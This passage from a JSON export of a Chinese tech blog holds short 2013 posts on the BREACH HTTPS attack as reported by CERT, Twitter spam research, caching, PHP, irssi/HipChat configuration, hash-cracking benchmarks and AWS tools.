    "body": "也是一個禮拜前的消息，在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到對 HTTPS 的新攻擊，目前沒有好解法，<a href=\"http://www.nsa.gov/\">NSA</a> 應該開心到爆炸：「<a href=\"http://it.slashdot.org/story/13/08/05/233216/breach-compression-attack-steals-ssl-secrets\">BREACH Compression Attack Steals SSL Secrets</a>」。\r\n\r\n說明可以參考「<a href=\"http://www.kb.cert.org/vuls/id/987798\">Vulnerability Note VU#987798 BREACH vulnerability in compressed HTTPS</a>」這篇。\r\n\r\n假設你的 ISP 想要抓出你的 Facebook (HTTPS) session id 或是 CSRF token (只要是有能力在中間攔截封包並修改資料的團體都可以，這邊以 ISP 為例)，作法是針對 HTTP 頁面值入 script，讓你的瀏覽器對 <code>https://www.facebook.com/</code> 發出大量 request，藉由觀察這些 HTTPS 的長度就有機會取得 session id (或 CSRF token)...\r\n\r\n<a href=\"http://www.kb.cert.org/\">CERT</a> 的 security advisory 上是寫：\r\n<blockquote>With a token of length 32 and a character space of size 16 (e.g. hex), the attacker needs an average of approximately 1,000 request if no recovery mechanisms are needed. In practice, we have been able to recover CSRF tokens with fewer than 4,000 requests. A browser like Google Chrome or Internet Explorer is able to issue this number of requests in under 30 seconds, including callbacks to the attacker command & control center.</blockquote>\r\n四千次就搞定了... 太！歡！樂！了！",
    "title": "新的 HTTPS 攻擊：BREACH Compression Attack"
  },
  {
    "id": "3444",
    "body": "推薦系統已經是顯學了，如果不要太暴力的演算法 (太學術而導致相依性太高) 也都有現成的 Map-Reduce 類演算法可以處理大量資料。但如果要知從頭學起的話，資料反而不太好找？\r\n\r\n然後... 也是上個禮拜看到的，現在在 <a href=\"https://www.coursera.org/\">Coursera</a> 上有這樣一門課程：「<a href=\"https://www.coursera.org/course/recsys\">Introduction to Recommender Systems</a>」，在今年 (2013 年) 九月開課。有興趣慢慢學的當然可以去報名，不過我想說的是，這門課程的 Course Syllabus 列出了很多關鍵字，如果不想等九月開課的人，拿這些關鍵字搜尋資料也可以馬上學到不少東西。\r\n\r\n另外一個入口是 <a href=\"https://en.wikipedia.org/\">Wikipedia</a>：「<a href=\"https://en.wikipedia.org/wiki/Recommender_system\">Recommender system</a>」，也算是導讀性質。",
    "title": "推薦系統的課程..."
  },
  {
    "id": "3451",
    "body": "研究員在取得 <a href=\"https://twitter.com/\">Twitter</a> 的同意後 (Twitter 的 ToS 禁止帳號販賣轉移)，十個月內透過 27 個不同的買家，花了 USD$5000 購買了 12 萬個帳號：「<a href=\"http://it.slashdot.org/story/13/08/14/2221200/researchers-buy-twitter-bots-to-fight-twitter-spam\">Researchers Buy Twitter Bots To Fight Twitter Spam</a>」、「<a href=\"http://krebsonsecurity.com/2013/08/buying-battles-in-the-war-on-twitter-spam/\">Buying Battles in the War on Twitter Spam</a>」。\r\n\r\n整份研究發在 <a href=\"https://www.usenix.org/conference/usenixsecurity13\">USENIX Security '13</a> 上：「<a href=\"https://www.usenix.org/conference/usenixsecurity13/traf%EF%AC%81cking-fraudulent-accounts-role-underground-market-twitter-spam-and\">Trafﬁcking Fraudulent Accounts: The Role of the Underground Market in Twitter Spam and Abuse</a>」，有 PDF 可以下載。\r\n\r\n可以看到 <a href=\"http://www.hotmail.com/\">Hotmail</a> 是裡面比率最高的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/hMo2j53.webp\" /><img src=\"https://i.gslin.com/imgur/hMo2j53.jpg\" alt=\"\" /></picture>\r\n\r\n論文後面提到要如何利用這些買來的帳號，透過演算法計算後，判斷還有哪些帳號是可疑的帳號。然後透過 Twitter 的合作交叉比對，給予這些地下盤商致命性的打擊...",
    "title": "Twitter 與研究員合作打擊 Twitter Spammer"
  },
  {
    "id": "3453",
    "body": "<a href=\"https://github.com/golang/groupcache\">groupcache</a> 是 <a href=\"http://bradfitz.com/\">Brad Fitzpatrick</a> 最新的作品 (之前最有名的兩個作品是 <a href=\"http://memcached.org/\">memcached</a> 與 <a href=\"http://openid.net/specs/openid-authentication-1_1.html\">OpenID 1</a>)，目標在於取代一部分 memcached 的功能。\r\n\r\n以官方的說明是：\r\n<blockquote>groupcache is a caching and cache-filling library, intended as a replacement for memcached in many cases.</blockquote>\r\n另外一篇介紹文是「<a href=\"http://www.capotej.com/blog/2013/07/28/playing-with-groupcache/\">Playing With Groupcache</a>」。\r\n\r\n跟 memcached 差異最大的地方在於「沒有更改與刪除的功能」，一旦寫進去後就不會變動。在放棄 update/delete 的特性後，換來的是：\r\n<ul>\r\n\t<li>Cluster 的能力。</li>\r\n\t<li>處理熱點的能力。</li>\r\n</ul>\r\n以往在 memcached server 之間是沒有交集的，在 groupcache 則是 cluster 起來。另外以前在 memcached 會因為同時存取同一個 key 而造成 single CPU overloading 的問題，在 groupcache 則透過 auto-mirror 機制解決。\r\n\r\n不過還是得想一下要怎麼用，畢竟沒有 update/delete 功能...",
    "title": "用 Go 發展的 groupcache..."
  },
  {
    "id": "3455",
    "body": "在整理舊文章的時候看到有人對 GSM 網路以及 3G/LTE 網路的安全性進行分析：「<a href=\"http://blog.cryptographyengineering.com/2013/05/a-few-thoughts-on-cellular-encryption.html\">On cellular encryption</a>」。\r\n\r\n2G 網路 (GSM 網路) 已經是不安全的架構，主因是 30 年前可用的技術受限，加上當時的美國法令嚴格管制加密技術出口，所以整個通訊協定放了一堆後門...\r\n\r\n3G 網路建立時 <a href=\"https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\">AES</a> 也還沒出來 (1998 年 <a href=\"http://www.nttdocomo.co.jp/\">NTT DoCoMo</a> 建立第一個非商用性質的 3G 網路)，當時選用的 <a href=\"https://en.wikipedia.org/wiki/KASUMI\">KASUMI</a> cipher 後來被打趴好幾次...\r\n\r\n4G/LTE 用的技術就更新了，當然是另外的故事，不過還是把手機網路當作不安全的媒介會比較好...",
    "title": "手機網路的不安全性..."
  },
  {
    "id": "3457",
    "body": "在「<a href=\"http://blog.gslin.org/archives/2013/08/16/3444/%E6%8E%A8%E8%96%A6%E7%B3%BB%E7%B5%B1%E7%9A%84%E8%AA%B2%E7%A8%8B/\">推薦系統的課程...</a>」這篇推薦了 2013 秋天的課程，不過整理舊文章的時候發現有另外一門講 Machine Learning 的課程已經結束 (不僅僅是 Recommendation System)。\r\n\r\n<a href=\"http://www.cmu.edu/\">CMU</a> 的課程：「<a href=\"http://alex.smola.org/teaching/cmu2013-10-701/index.html\">Introduction to Machine Learning</a>」，課程都有 PDF slide 與錄影可以看。\r\n\r\n相較於推薦系統，機器學習的課程比較篇理論，而且也比較廣泛，而推薦系統比較偏應用。",
    "title": "Machine Learning 的課程 (2013 年一月開課，已經完結)"
  },
  {
    "id": "3459",
    "body": "<a href=\"https://kkbox.hipchat.com/\">HipChat</a> 算是個很有趣的服務，不過實際使用後可以發現效率沒有 command line 的 <a href=\"http://www.irssi.org/\">irssi</a> 好，畢竟 irc 就是以溝通為主的工具。\r\n\r\n但 HipChat 可以保留紀錄並且透過 iOS 及 Android device 存取的特性彌補了這個缺點，甚至掩蓋掉原來的缺點。所以接下來就是想辦法用 irssi 連上 HipChat，如果可以的話就可以兼顧了...\r\n\r\n網路上其實有不少資料，irssi 可以透過 HipChat 的 XMPP 界面連上，也就是 <a href=\"http://cybione.org/~irssi-xmpp/\">irssi-xmpp</a> 這個套件。\r\n\r\n不過這個套件在 FreeBSD ports 裡是 0.51 版，會 core dump... 雖然送了 0.52 版的 patch 進去 (<a href=\"http://www.freebsd.org/cgi/query-pr.cgi?pr=177466\">ports/177466: [patch] Update of irc/irssi-xmpp to 0.52</a>)，不過不知道什麼時候才會進去...\r\n\r\n幾個步驟要做，首先是 <code>.irssi/startup</code> 內要載入 xmpp，然後設定 <code>alternative_nick</code>：\r\n<pre>/load xmpp\r\n/set alternative_nick Gea-Suan Lin</pre>\r\n然後在 <code>.irssi/config</code> 內設定：(本來應該就有 servers &amp; chatnets 了，自己補上就好)\r\n<pre>servers = (\r\n  {\r\n    address = \"conf.hipchat.com\";\r\n    chatnet = \"hipchat\";\r\n    password = \"hipchat_password\";\r\n    port = \"5223\";\r\n    use_ssl = \"Yes\";\r\n    autoconnect = \"Yes\"\r\n  }\r\n)\r\n\r\nchatnets = {\r\n  hipchat = {\r\n    type = \"XMPP\";\r\n    nick = \"two_hipchat_number@chat.hipchat.com\";\r\n  };\r\n};</pre>\r\n然後在 <code>channels</code> 裡就可以指定 channel 了：\r\n<pre>channels = (\r\n  {\r\n    name = \"two_room_identifier@conf.hipchat.com\";\r\n    chatnet = \"hipchat\";\r\n    autojoin = \"Yes\";\r\n  }\r\n)</pre>\r\n主要是參考「<a href=\"https://gist.github.com/OrangeTux/5729182\">Config for Irssi to connect to various XMPP chat servers. Replace the passwords, usernames an ids by your own. Remember, the irssi-xmpp (http://cybione.org/~irssi-xmpp/) plugin is requried.</a>」這份設定測出來的。",
    "title": "用 irssi + xmpp 連上 HipChat..."
  },
  {
    "id": "3466",
    "body": "<a href=\"https://zh.wikipedia.org/wiki/PNG\">PNG</a> 是無失真影像壓縮格式，但我們仍然可以修改 pixel (失真) 讓 PNG 壓縮率更好。今天在「<a href=\"http://pngmini.com/lossypng.html\">PNG can be a lossy format</a>」看到的 Mac OS X 應用程式就是這個用途。\r\n\r\n雖然是應用程式，但作者還是有說明 algorithm 是哪些，分別是從哪裡來。其中兩個是：\r\n<ul>\r\n\t<li><a href=\"https://github.com/foobaz/lossypng\">Shrink PNG files by applying a lossy filter</a></li>\r\n\t<li><a href=\"http://pngquant.org/\">pngquant</a></li>\r\n</ul>\r\n文章最後，作者對 GIF 很感冒... XD\r\n<blockquote>GIF has antiquated compression and it's a complete waste of bandwidth. Even lossy GIF is worse than lossless optimized PNG.</blockquote>\r\n另外，JPEG/WebP 還是比較小，不過 JPEG 有很多格式，瀏覽器與作業系統的支援度還是很大的阻礙：\r\n<blockquote>Whether lossy PNG gives better results than JPEG depends on the image. JPEG often gives smaller files, except when image has sharp edges (e.g. text) or any transparency (which JPEG does not support at all).\r\n\r\nOptimized lossy PNG is still a bit larger than lossy JPEG-XR/WebP/JPEG-2K, but unlike these formats it's supported by all browsers and operating systems without any fuss or hacks.</blockquote>\r\n最後發現 lossypng 是 Go 寫的，程式碼也不長，看起來頗好玩的... (也許包成 ports？)",
    "title": "使用 PNG 對圖片失真壓縮..."
  },
  {
    "id": "3469",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 公告了 <a href=\"http://getbootstrap.com/\">Bootstrap</a> 3.0 的發行：「<a href=\"https://blog.twitter.com/2013/bootstrap-30\">Bootstrap 3.0</a>」。\r\n\r\n<blockquote class=\"twitter-tweet\"><p>This is how we dooo it! Bootstrap 3 ya&#39;ll. <a href=\"http://t.co/i5KlLDtP0F\">http://t.co/i5KlLDtP0F</a></p>&mdash; Bootstrap (@twbootstrap) <a href=\"https://twitter.com/twbootstrap/statuses/369569993727307778\">August 19, 2013</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n可以試著把 2.3.2 的移植過去看看...",
    "title": "Bootstrap 3.0"
  },
  {
    "id": "3471",
    "body": "剛剛才發現 PSR-3 已經正式定案了：「<a href=\"http://www.php-fig.org/psr/3/\">PSR-3 - Logger Interface</a>」。\r\n\r\n統一 log 界面，架構的基礎是建在 <a href=\"http://tools.ietf.org/html/rfc5424\">RFC 5424</a> (The Syslog Protocol) 對 log level 的定義上，使用 <code>Psr</code> namespace 定義實做的介面 (interface)。\r\n\r\n目前看起來就到 PSR-3...",
    "title": "PHP 的 PSR-3：Logger Interface"
  },
  {
    "id": "3473",
    "body": "<a href=\"http://framework.zend.com/\">Zend Framework</a> 1 的 <a href=\"http://framework.zend.com/manual/1.12/en/zend.view.html\">Zend_View</a> 實踐了 <a href=\"https://en.wikipedia.org/wiki/Rasmus_Lerdorf\">Rasmus Lerdorf</a> (<a href=\"http://www.php.net/\">PHP</a> 發明人) 的想法「PHP 本身就是 template language，不應該在 PHP 裡面再發明一套 template language」。\r\n\r\n<a href=\"http://framework.zend.com/manual/1.12/en/zend.view.html\">Zend_View</a> 是可以獨立拿出來用的，使用方式很簡單：\r\n\r\n<pre>$view = new Zend_View();\r\n$view-&gt;setBasePath(realpath(__DIR__ . '/../application/view'));\r\necho $view-&gt;render('index/index.phtml');</pre>\r\n\r\n這樣對應的 template 檔案是 <code>application/view/scripts/index/index.phtml</code>。\r\n\r\nZend Framework 2 除了改用 namespace 外 (所以名稱從原來的 \"<code>_</code>\" 改成 \"<code>\\</code>\")，還把 <a href=\"http://framework.zend.com/manual/2.2/en/modules/zend.view.quick-start.html\">Zend\\View</a> 深度整合到 <code>Zend\\Mvc</code> 裡，這使得要獨立拿出來用的手續就變得... 超... 麻... 煩...\r\n\r\n透過 <a href=\"http://getcomposer.org/\">Composer</a> 安裝的人除了在 <code>composer.json</code> 裡面要設定 <code>zendframework/zend-view</code> 外，還要設定 <code>zendframework/zend-filter</code> 才會動 (不知道為什麼沒被放進 dependency)，像是這樣：\r\n\r\n<pre>    \"require\": {\r\n        \"zendframework/zend-filter\": \"2.2.*\",\r\n        \"zendframework/zend-view\": \"2.2.*\"\r\n    }</pre>\r\n\r\n另外 ZF 2 的 <code>Zend\\View</code> 則是透過 resolver 物件設定要讀哪個目錄，而非之前用 <code>setBasePath</code> 打發：\r\n\r\n<pre>$resolver = new \\Zend\\View\\Resolver\\TemplatePathStack(\r\n    array(\r\n        'script_paths' => array(\r\n            realpath(__DIR__ . '/../webdata/view/')\r\n        )\r\n    )\r\n);\r\n\r\n$renderer = new \\Zend\\View\\Renderer\\PhpRenderer();\r\n$renderer-&gt;setResolver($resolver);\r\n\r\necho $renderer-&gt;render('index/index.phtml');</pre>\r\n\r\n這樣對應的 template 檔案是 <code>webdata/view/index/index.phtml</code>，跟 ZF1 相比少了一個 <code>scripts</code>。\r\n\r\nZF 的文件一如往常的難讀，還是要去翻 source code 才知道要這樣用，所以也跟往常一樣，寫下來避免之後又忘記...",
    "title": "Zend Framework 1 的 Zend_View 與 Zend Framework 2 的 Zend\\View 的差異..."
  },
  {
    "id": "3482",
    "body": "裝了 <a href=\"https://chrome.google.com/webstore/detail/blur-facebook/eajpppfomjpneppjldjopcafpnfilhkb\">Blur Facebook</a> (for <a href=\"https://www.google.com/chrome\">Google Chrome</a>)，在 <a href=\"https://www.facebook.com/\">Facebook</a> 頁面要抓 screenshot 前先用右鍵選擇要處理，處理後效果這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pfvS2hn.webp\" /><img src=\"https://i.gslin.com/imgur/pfvS2hn.jpg\" alt=\"\" /></picture>\r\n\r\n作者有把原始程式碼丟上 <a href=\"https://github.com/\">GitHub</a>，在 <a href=\"https://github.com/sowbug/blur-facebook\">sowbug/blur-facebook</a>。",
    "title": "裝了 Blur Facebook..."
  },
  {
    "id": "3484",
    "body": "<a href=\"http://hashcat.net/oclhashcat-plus/\">oclHashcat-plus</a> 提供了透過 GPU 破解的 benchmark 數據：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/CzirXTX.webp\" /><img src=\"https://i.gslin.com/imgur/CzirXTX.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到 <a href=\"https://en.wikipedia.org/wiki/PBKDF2\">PBKDF2</a>、sha512crypt $6$ 以及 <a href=\"https://en.wikipedia.org/wiki/Bcrypt\">bcrypt</a> $2a$ 的速度慢得很漂亮 XD 不過 SHA512 的速度比 SHA256 慢不少倒是頗意外...\r\n\r\nPBKDF2 的使用率很高 (因為無線網路 WPA/WPA2 的規格)，所以各語言的普及率也高不少，如果要找個標準來用的話，PBKDF2 相當不錯...",
    "title": "各種密碼破解速度..."
  },
  {
    "id": "3487",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"http://ejohn.org/\">John Resig</a> 提到一串 <a href=\"http://www.reddit.com/\">reddit</a> 上超歡樂的安全性議題：\r\n\r\n<blockquote class=\"twitter-tweet\"><p>This thread on /r/PHP is just too good/scary to be true: <a href=\"http://t.co/KwLK37kk0l\">http://t.co/KwLK37kk0l</a></p>&mdash; John Resig (@jeresig) <a href=\"https://twitter.com/jeresig/statuses/372757663399964672\">August 28, 2013</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n討論串在「<a href=\"http://www.reddit.com/r/PHP/comments/1l7baq/creating_a_user_from_the_web_problem/\">Creating a user from the web problem.</a>」這邊。不僅是 escape 的問題，還有給予 web server 過大的權限...\r\n\r\n貼圖也很好笑啊 XD\r\n\r\n<img src=\"https://i.gslin.com/imgur/TaTdV.gif\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/29CqN.jpg\" alt=\"\" />\r\n\r\n(噗)",
    "title": "網路安全歡樂記..."
  },
  {
    "id": "3490",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 宣佈兩個帳號，<a href=\"https://twitter.com/64Flavors\">@64Flavors</a> 以及 <a href=\"https://twitter.com/Overflow64\">@Overflow64</a>，這兩個帳號的 user ID 都超過 32bits 可以存放的範圍，而且每十分鐘就會發一則 tweet：「<a href=\"https://dev.twitter.com/blog/test-accounts-user-ids-greater-32-bits\">Test accounts with user IDs greater than 32 bits</a>」。\r\n\r\n目前 Twitter 的 user ID 還在 32bits 可以儲存的範圍內，但官方預估在今年就會超過。\r\n\r\n而現在是八月底，官方丟出兩個帳號讓大家實際測試 XD",
    "title": "Twitter 提供兩個 userid 超過 32bits 的使用者 (機器人)，讓程式測試是不是有問題..."
  },
  {
    "id": "3492",
    "body": "紐西蘭以強烈的票數差距 117-4 廢除軟體專利：「<a href=\"http://arstechnica.com/tech-policy/2013/08/in-historic-vote-new-zealand-bans-software-patents/\">In historic vote, New Zealand bans software patents</a>」。\r\n\r\n這一步超大，這一廢止使得紐西蘭在軟體創新比歐美先進一大步，制止<a href=\"https://zh.wikipedia.org/wiki/%E5%B0%88%E5%88%A9%E8%9F%91%E8%9E%82\">專利蟑螂</a>對新創事業的騷擾，另外促使更多國家對軟體專利動手 (不一定是廢止，也有可能是設限讓蟑螂更難生存)。",
    "title": "紐西蘭廢除軟體專利..."
  },
  {
    "id": "3496",
    "body": "以往要在 <a href=\"http://aws.amazon.com/rds/\">Amazon RDS</a> 產生 Read Replica Replication 需要複雜的 snapshot 處理，但現在 <a href=\"http://aws.amazon.com/\">AWS</a> 直接提供這個功能了，而且可以同時生很多台：「<a href=\"http://aws.typepad.com/aws/2013/08/new-read-replica-capabilities-for-amazon-rds.html\">New Read Replica Capabilities for Amazon RDS</a>」。\r\n\r\n這有多重要呢？以前因應流量瞬間爆增時的方式是增加 web server，並且利用 cache (可能是 memcached) 降低對後端的 query 數量。但因為引入 cache，平常就得處理 cache invalidate 的問題。\r\n\r\n而這個方式平常只要處理讀寫分離就可以了。當量爆增時除了 web server 增加，直接增加後端的 RDS server (Read Replica Replication)，甚至可以分層：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Qg7uBkS.webp\" /><img src=\"https://i.gslin.com/imgur/Qg7uBkS.jpg\" alt=\"\" /></picture>\r\n\r\n以目前的步調來看，之後有可能會推出 Master-Master 的 HA 架構？\r\n\r\n<strong>Update</strong>：照 comment 提到的，<a href=\"http://aws.amazon.com/rds/multi-az/\">Multi-AZ</a> 本身就是 HA 架構了...",
    "title": "Amazon RDS 可以直接產生 Read Replica Replication 了..."
  },
  {
    "id": "3504",
    "body": "剛剛發現 <a href=\"http://wordpress.org/plugins/jetpack/\">Jetpack</a> 就內建 Mobile Theme 了，把 <a href=\"http://wordpress.org/plugins/wptouch/\">WPtheme Mobile Plugin</a> 拿掉後用手機看了看，效果不算差...\r\n\r\n先放著跑看看吧，過陣子再來決定要留哪個 @_@",
    "title": "改用 Jetpack 的 Mobile Theme (本來是 WPtouch Mobile Plugin)"
  },
  {
    "id": "3506",
    "body": "看了 <a href=\"http://blog.hsatac.net/\">hSATAC</a> 寫的「<a href=\"http://blog.hsatac.net/2013/08/my-vimrc-for-golang/\">我的 Golang Vim 配置</a>」後，研究了一下裡面的 plugin，發現幾個還不錯的 plugin 可以用...\r\n\r\n其中一個是 <a href=\"http://majutsushi.github.io/tagbar/\">tagbar</a>，安裝後依照官方 Quickstart 的建議，把 F8 變成展開：\r\n\r\n<pre>nmap &lt;F8&gt; :TagbarToggle&lt;CR&gt;</pre>\r\n\r\n其他的設定可以參考 <a href=\"https://github.com/majutsushi/tagbar/blob/master/doc/tagbar.txt\">tagbar.txt</a>。",
    "title": "裝了 tagbar..."
  },
  {
    "id": "3508",
    "body": "紐約公共圖書館 (<a href=\"https://en.wikipedia.org/wiki/New_York_Public_Library\">NYPL</a>) 丟出個有趣的東西：「<a href=\"https://github.com/NYPL/map-vectorizer\">Map polygon and feature extractor</a>」，敘述的地方就有這樣的說明：\r\n<blockquote>Like OCR for maps</blockquote>\r\n可以把這樣的地圖圖檔：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gVdaipo.webp\" /><img src=\"https://i.gslin.com/imgur/gVdaipo.jpg\" alt=\"\" /></picture>\r\n\r\n轉成：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VLzQRIW.webp\" /><img src=\"https://i.gslin.com/imgur/VLzQRIW.jpg\" alt=\"\" /></picture>\r\n\r\n這樣子... 也可以 <a href=\"http://www.geojson.org/\">GeoJSON</a> 輸出 :p\r\n\r\n這屬於 Open Data 的工作，紐約公共圖書館本身就是全世界第三大圖書館，美國第二大的圖書館 (僅次於第一的國會圖書館與第二的大英圖書館)，做完後可以把館內的地圖館藏整個數據化讓人重複使用 (而非僅僅將紙本掃描成圖片資料的「電子化」)，這包括了以前的手繪地圖啊...\r\n\r\n程式主要是用 <a href=\"http://www.python.org/\">Python</a> 寫，另外在 repository 有看到 <a href=\"http://www.r-project.org/\">R</a> 與 <a href=\"https://zh.wikipedia.org/wiki/Scheme\">Scheme</a> 的存在... (<a href=\"https://github.com/\">GitHub</a> 的統計)",
    "title": "紐約公共圖書館提供的 Library：將地圖 OCR 成向量資料..."
  },
  {
    "id": "3511",
    "body": "在 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 裝上 <a href=\"https://chrome.google.com/webstore/detail/remove-facebook-redirecti/onhdomkbnapoacbialllfpbcckckidck\">Remove Facebook Redirections</a> 可以避免 <a href=\"https://www.facebook.com/\">Facebook</a> 重導，加減提高些隱私性...\r\n\r\n不過最近發現當 Facebook 捲頁捲很長時會變得爆慢，但網路上好像沒有人提到這個問題？看起來應該是我的某個 extension 造成的，測了老半天發現是這個 extension 的問題 :o 然後身為工程師的直覺，這八成是每次增加元素後直接對整個 document 全掃一次造成的...\r\n\r\n翻 source code 後 (直接到 <code>Default/Extensions/onhdomkbnapoacbialllfpbcckckidck/1.2_0/</code> 裡的 <code>RemoveFacebookRedirections.js</code> 翻) 可以發現 <code>huntForLinks()</code> 果然就是這樣做...\r\n\r\n先移除掉再說 @_@",
    "title": "移除 Remove Facebook Redirections..."
  },
  {
    "id": "3513",
    "body": "中文稱為「<a href=\"https://zh.wikipedia.org/wiki/%E5%B9%B3%E6%96%B9%E6%A0%B9%E5%80%92%E6%95%B0%E9%80%9F%E7%AE%97%E6%B3%95\">平方根倒數速演算法</a>」，英文則是「<a href=\"https://en.wikipedia.org/wiki/Fast_inverse_square_root\">Fast Inverse Square Root</a>」。\r\n\r\n好像是在 <a href=\"https://twitter.com/\">Twitter</a> 還是 <a href=\"https://www.facebook.com/\">Facebook</a> 上看到的 (還是是在其他管道？)，仔細看中文版維基百科條目，發現中文版的資料相當完整了 (看了一下歷史記錄，是去年 2012 年 6 月的時候從英文版翻出來的)。\r\n\r\n當時很有名的 magic hack，比查表法快：\r\n<blockquote>在1990年代初（也即該演算法發明的大概時間），軟體開發時通用的平方根計算方法多是從尋找表中取得近似值，而這段代碼取近似值耗時比之更短，達到精確度要求的速度也比通常使用的浮點除法計演算法快四倍，</blockquote>\r\n<del>然後還比 CPU 指令集快 XD</del>\r\n<blockquote><del>由於演算法所生成的用於輸入牛頓法的首次近似值已經相當精確，此演算法所得近似值的精度已可接受，而若使用與《雷神之鎚III競技場》同為1999年發行的Pentium III中的SSE指令rsqrtss計算，則計算平方根倒數的收斂速度更慢，精度也更低。</del></blockquote>\r\n<strong>Update</strong>：請參考 comment，看起來中文版有誤譯...\r\n\r\n我本來以為我之前寫過，找了找沒翻到... 補記錄下來 :p",
    "title": "Fast Inverse Square Root 演算法..."
  },
  {
    "id": "3515",
    "body": "這幾天在找桌機 CPU 資料的時候發現的，<a href=\"http://www.amd.com/\">AMD</a> 在今年 (2013) 七月的時候發行了兩顆 CPU：FX-9370 與 FX-9590 (參考「<a href=\"http://www.amd.com/us/products/desktop/processors/amdfx/Pages/amdfx-model-number-comparison.aspx\">AMD FX Model Number Comparison</a>」)。\r\n\r\n耗電量也破紀錄了啊，我第一次在 x86 上看到量產最大功耗 220W 的 CPU 啊...\r\n\r\n剛剛查了「<a href=\"https://en.wikipedia.org/wiki/List_of_Intel_Xeon_microprocessors\">List of Intel Xeon microprocessors</a>」，最高也才 165W，<a href=\"http://www.intel.com/\">Intel</a> 輸了啊... (噴飯)\r\n\r\n以這個速率來看，價錢意外的低啊，FX-9590 居然只要 USD$900...",
    "title": "最大消耗 220W 的 CPU..."
  },
  {
    "id": "3522",
    "body": "下去高雄辦公室出差看到的，看到順便拍起來：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/9663035345/\"><img src=\"http://farm3.staticflickr.com/2846/9663035345_8fb0e27dde_z.jpg\" alt=\"\" /></a>\r\n\r\n不知道裡面是什麼樣子...",
    "title": "高雄軟體園區對面，鴻海的「雲端貨櫃數據中心」..."
  },
  {
    "id": "3524",
    "body": "在 <a href=\"http://www.schneier.com/\">Bruce Schneier</a> 的 blog 上看到 SHA-3 的由來：「<a href=\"http://www.schneier.com/blog/archives/2013/09/sha-3_status.html\">SHA-3 Status</a>」，而投影片在「<a href=\"http://csrc.nist.gov/groups/ST/hash/sha-3/documents/Keccak-slides-at-NIST.pdf\">Keccak and the SHA-3 Standardization</a>」這裡，裡面有不少資料可以用...\r\n\r\n像是 crypto hash function 速度的比較：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vxjdmBD.webp\" /><img src=\"https://i.gslin.com/imgur/vxjdmBD.jpg\" alt=\"\" /></picture>\r\n\r\n後半段看到蠻多有趣的東西，等有空回頭來看...",
    "title": "SHA-3 的歷史由來..."
  },
  {
    "id": "3529",
    "body": "剛剛看到 <a href=\"http://www.edgecast.com/\">EdgeCast</a> 放出來的新聞稿，EdgeCast 跟 <a href=\"http://www.hinet.net/\">HiNet</a> 合作：「<a href=\"http://www.edgecast.com/company/news/edgecast-partners-with-hinet-on-taiwan-market\">EdgeCast Partners with HiNet on Taiwan Market</a>」。\r\n\r\n以 <a href=\"http://www.adobe.com/\">Adobe</a> 的 <a href=\"http://html.adobe.com/edge/webfonts/\">Edge Web Fonts</a> 服務來看 (使用 <code>use.edgefonts.net</code> 這個名稱，指到 <code>use.wac.0F88.edgecastcdn.net</code>)，如果在 HiNet 下面 (然後以 168.95.192.1) 仍然是指到香港的 PoP (<code>s6.gp1.wac.edgecastcdn.net</code>，目前是 117.18.237.110)。\r\n\r\n官網 <code>www.edgecast.com</code> 也是香港的 PoP。\r\n\r\n回頭來看新聞稿，看起來是 HiNet 用 EdgeCast 的技術建立 CDN，變成 Taiwanese CDN：\r\n<blockquote>HiNet will use EdgeCast technology to build a high-performance CDN within Taiwan and provide caching, streaming, acceleration and security services to Taiwanese media and content providers. The Taiwanese CDN will be directly connected to EdgeCast’s global network and to users within HiNet’s regions, dramatically improving global performance for HiNet customers and Taiwan performance for EdgeCast customers.</blockquote>\r\n相當於中華購買技術補齊產品線，另外 EdgeCast 也可以使用... (不過目前還沒建立好？)\r\n\r\n如果都建好，那麼在台灣有 PoP 的 CDN 就有 <a href=\"http://www.akamai.com/\">Akamai</a>、<a href=\"http://www.cdnetworks.com/\">CDNetworks</a>、Windows Azure CDN 以及 EdgeCast 這四家。",
    "title": "EdgeCast 與 HiNet 合作..."
  },
  {
    "id": "3533",
    "body": "幾天前 <a href=\"http://www.amazon.com/\">Amazon</a> 官方推出 <a href=\"http://www.python.org/\">Python</a> 版本的 <a href=\"http://aws.amazon.com/\">AWS</a> CLI 工具：「<a href=\"http://aws.typepad.com/aws/2013/09/new-aws-command-line-interface-cli.html\">New AWS Command Line Interface (CLI)</a>」，官方網站則是在「<a href=\"http://aws.amazon.com/cli/\">AWS Command Line Interface</a>」，程式碼則是公開在 <a href=\"https://github.com/\">GitHub</a> 上：「<a href=\"https://github.com/aws/aws-cli\">aws/aws-cli</a>」\r\n\r\n<a href=\"http://www.freebsd.org/\">FreeBSD</a> ports 裡面有，在 <a href=\"http://www.freshports.org/devel/awscli\">devel/awscli</a> 這裡。\r\n\r\n記得一開始作者 <a href=\"http://www.elastician.com/\">Mitch Garnaat</a> 先發展 <a href=\"https://github.com/boto/boto\">boto</a>，然後被 Amazon 挖走，沈寂了好幾年，開發出這東西...\r\n\r\n常用的服務都可以透過這隻程式操作...",
    "title": "Amazon 官方推出 Python 版本的 AWS CLI 工具..."
  },
  {
    "id": "3535",
